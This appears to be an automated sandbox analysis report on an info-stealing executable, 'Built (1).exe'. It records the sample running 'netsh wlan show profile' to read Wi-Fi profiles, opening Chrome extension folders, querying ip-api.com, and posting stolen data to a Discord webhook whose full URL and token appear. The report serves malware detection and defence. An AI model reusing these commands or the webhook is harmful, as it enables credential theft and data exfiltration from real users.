              Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Built (1).exe", ParentImage: C:\Users\user\Desktop\Built (1).exe, ParentProcessId: 7544, ParentProcessName: Built (1).exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 8204, ProcessName: cmd.exe

              Snort Signatures

              ⊘No Snort rule has matched

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus / Scanner detection for submitted sample
              Source: Built (1).exeAvira: detected
              Antivirus detection for URL or domain
              Source: http://pesterbdd.com/images/Pester.pngURL Reputation: Label: malware
              Multi AV Scanner detection for submitted file
              Source: Built (1).exeReversingLabs: Detection: 55%
              Machine Learning detection for sample
              Source: Built (1).exeJoe Sandbox ML: detected
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,74_2_00007FF70F38901C
              Source: Built (1).exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
              Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1909168340.00007FFE13201000.00000040.00000001.01000000.0000000D.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\python312.pdb source: Built (1).exe, 00000001.00000002.1906643440.00007FFDFB5D2000.00000040.00000001.01000000.00000004.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: Built (1).exe, 00000001.00000002.1905204554.00007FFDFAC9F000.00000040.00000001.01000000.00000013.sdmp
              Source: Binary string: D:\a\1\b\libcrypto-3.pdb| source: Built (1).exe, 00000001.00000002.1905686128.00007FFDFB0F1000.00000040.00000001.01000000.00000010.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: Built (1).exe, 00000001.00000002.1909887282.00007FFE148C1000.00000040.00000001.01000000.00000006.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1908338431.00007FFE11EA1000.00000040.00000001.01000000.00000011.sdmp
              Source: Binary string: D:\a\1\b\libssl-3.pdbDD source: Built (1).exe, 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmp
              Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: Built (1).exe
              Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: Built (1).exe, 00000001.00000002.1908736113.00007FFE126EC000.00000040.00000001.01000000.00000008.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1909029504.00007FFE130C1000.00000040.00000001.01000000.00000012.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: Built (1).exe, 00000001.00000002.1908736113.00007FFE126EC000.00000040.00000001.01000000.00000008.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: Built (1).exe, 00000001.00000002.1909536137.00007FFE1463E000.00000040.00000001.01000000.00000009.sdmp
              Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.13 30 Jan 20243.0.13built on: Mon Feb 5 17:39:09 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL || WITHIN_ARENA(temp->next)assertion failed: (char **)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) || WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/*0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_
              Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Built (1).exe, 00000000.00000003.1621395305.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1910115372.00007FFE1A463000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
              Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: Built (1).exe, 00000001.00000002.1905686128.00007FFDFB059000.00000040.00000001.01000000.00000010.sdmp
              Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: Built (1).exe, 00000000.00000003.1621395305.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1910115372.00007FFE1A463000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
              Source: Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp
              Source: Binary string: D:\a\1\b\libcrypto-3.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1905686128.00007FFDFB0F1000.00000040.00000001.01000000.00000010.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: Built (1).exe, 00000001.00000002.1909315411.00007FFE13381000.00000040.00000001.01000000.0000000C.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1908549251.00007FFE11EC1000.00000040.00000001.01000000.0000000A.sdmp
              Source: Binary string: D:\a\1\b\libssl-3.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmp
              Source: Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 0000004A.00000000.1774506719.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmp, rar.exe, 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmp, rar.exe.0.dr
              Source: Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: Built (1).exe, Built (1).exe, 00000001.00000002.1908122453.00007FFE0EB31000.00000040.00000001.01000000.0000000E.sdmp
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD28670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF6FFD28670
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD18D00 FindFirstFileExW,FindClose,0_2_00007FF6FFD18D00
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD28670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF6FFD28670
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD326C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF6FFD326C4
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3946EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,74_2_00007FF70F3946EC
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3D88E0 FindFirstFileExA,74_2_00007FF70F3D88E0
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F38E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,74_2_00007FF70F38E21C
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\Jump to behavior
              Source: Joe Sandbox ViewIP Address: 208.95.112.1 208.95.112.1
              Source: Joe Sandbox ViewIP Address: 162.159.128.233 162.159.128.233
              Source: unknownDNS query: name: ip-api.com
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficHTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.1
              Source: Built (1).exe, 00000001.00000002.1903442636.000001887C18C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
              Source: Built (1).exe, 00000001.00000002.1903442636.000001887C18C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
              Source: global trafficDNS traffic detected: DNS query: ip-api.com
              Source: global trafficDNS traffic detected: DNS query: canary.discord.com
              Source: unknownHTTP traffic detected: POST /api/webhooks/1239329155217358858/admvYq0v9cjAidcZoWKCiUKHCK3D6emDgArT1zNg_wWvbmzGNeA6Wh-KhldBnjCz9p6j HTTP/1.1Host: canary.discord.comAccept-Encoding: identityContent-Length: 71802User-Agent: python-urllib3/2.2.1Content-Type: multipart/form-data; boundary=f682b548ae6748f35ce6c1f4274d56b2
              Source: Built (1).exe, 00000000.00000003.1623287048.0000024AA4586000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digi
              Source: Built (1).exe, 00000000.00000003.1623287048.0000024AA4586000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digi/
              Source: Built (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.co
              Source: Built (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.co/
              Source: Built (1).exe, 00000000.00000003.1622264008.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621564158.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621870189.0000024AA4590000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622182787.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623287048.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623357256.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622342204.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621496561.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621786071.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622932763.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621636294.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623541709.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624411822.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624411822.0000024AA4592000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621870189.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624499005.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621728387.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
              Source: Built (1).exe, 00000000.00000003.1622264008.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621564158.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622182787.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623287048.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623357256.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622342204.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621496561.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621786071.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622932763.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621636294.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623541709.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624411822.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621870189.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624499005.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621728387.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
              Source: Built (1).exe, 00000000.00000003.1622264008.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621564158.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622182787.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623287048.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623357256.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622342204.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621496561.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621786071.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622932763.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621636294.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623541709.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624411822.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621870189.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624499005.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621728387.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
              Source: Built (1).exe, 00000000.00000003.1622264008.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621564158.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621870189.0000024AA4590000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622182787.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623287048.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623357256.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622342204.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621496561.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621786071.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622932763.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621636294.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623541709.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624411822.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624411822.0000024AA4592000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621870189.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624499005.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621728387.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
              Source: Built (1).exe, 00000000.00000003.1624094448.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
              Source: powershell.exe, 00000008.00000002.1825884931.00000270A1330000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micros
              Source: Built (1).exe, 00000000.00000003.1624094448.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drString found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
              Source: Built (1).exe, 00000000.00000003.1624094448.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drString found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
              Source: Built (1).exe, 00000000.00000003.1622264008.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621564158.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621870189.0000024AA4590000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622182787.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623287048.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623357256.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622342204.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621496561.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621786071.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622932763.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621636294.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623541709.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624411822.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624411822.0000024AA4592000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621870189.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624499005.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621728387.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
              Source: Built (1).exe, 00000000.00000003.1622264008.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621564158.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622182787.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623287048.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623357256.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622342204.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621496561.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621786071.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622932763.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621636294.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623541709.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624411822.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621870189.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624499005.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621728387.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
              Source: Built (1).exe, 00000000.00000003.1622264008.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621564158.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622182787.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623287048.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623357256.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622342204.0000024AA4585000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621496561.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621786071.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1622932763.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621636294.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1623541709.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624411822.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621870189.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624499005.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1621728387.0000024AA4584000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
              Source: unicodedata.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
